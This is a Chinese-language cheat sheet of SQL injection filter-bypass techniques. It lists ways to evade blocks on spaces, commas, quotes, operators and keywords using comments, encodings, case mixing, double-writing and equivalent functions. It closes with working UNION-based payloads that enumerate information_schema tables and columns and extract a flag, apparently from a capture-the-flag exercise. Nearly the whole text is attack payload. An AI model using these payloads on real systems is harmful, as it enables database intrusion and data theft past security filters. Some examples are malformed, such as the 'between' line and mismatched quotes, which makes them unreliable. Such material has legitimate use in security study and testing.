常见绕过方式
1、空格绕过
格式 : %20 %09 %0b %0a %a0 %0c %0d %00 /**/ /*!*/ +
如: '0'+'0'
select * from user where name=admin union/**/select ...
2、括号()绕过
格式: ()
如: select user()===>select(user());
select (database());
select (user()) from (tables) where (1=1) and (2=2);
3、逗号过滤
格式1: from 1 for 1
substr(database(),1,1) =====> select substr(database()from 1 for 1)
格式2:join
union select 1,2======>union select * from (select1)a join (select2)b
格式3:mid
substr(database(),1,1)====>mid(database() from 1 for 1) //mid绕过
格式4:between
substr(database(),1,1) =====> select substr(between 1 and 1) //between绕过
4、or、and、xor、not
格式: and &&
or ||
xor |
not !
5、注释符绕过
格式: # %123 -- - --+ --
or '1'='1’ and '1'='1' //逻辑词闭合
6、引号绕过
table_schema=’secturity'=====table_schema=0x73656375727479 // ’secturity' 转换为 十六进制(0x)
7、关键字绕过
union ======= uNion //大小写绕过
union ======= /*!union*/ select ... //内联注释
union ======= ununionion //双写绕过
or 1=1 ====== url,ascii,hex,unicode //编码绕过
substr(database(),1,1)====>mid(database() from 1 for 1) //mid绕过
//等价函数
hex(),bin() ==== ascii()
sleep() ==== benchmark()
concat_ws ==== group_concat()
@@user ==== user()
@@datadir ==== datadir()
8、正则绕过
union /* '+ 'a' *100000+' */ select
9、符号绕过“=”
*注意:判断是否存在“符号过滤”
//具体方法则通过符号注入测试是否能正常回显页面,不能则可能存在符号过滤
// 例如: id=1 ’ and 1=1 可判断是否存在 “=”过滤,若存在可使用like语句绕过
%' union select 1,2,binary(group_concat(table_name)),4,5,6,7,8,9,10,11,13,12,14 from information_schema.tables where table_schema like 'cms'#
%' union select 1,2,binary(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name like 'this_is_flag'#
%' union select 1,2,3,4,5,6,7,8,binary(flag),10,11,12,13,14 from this_is_flag#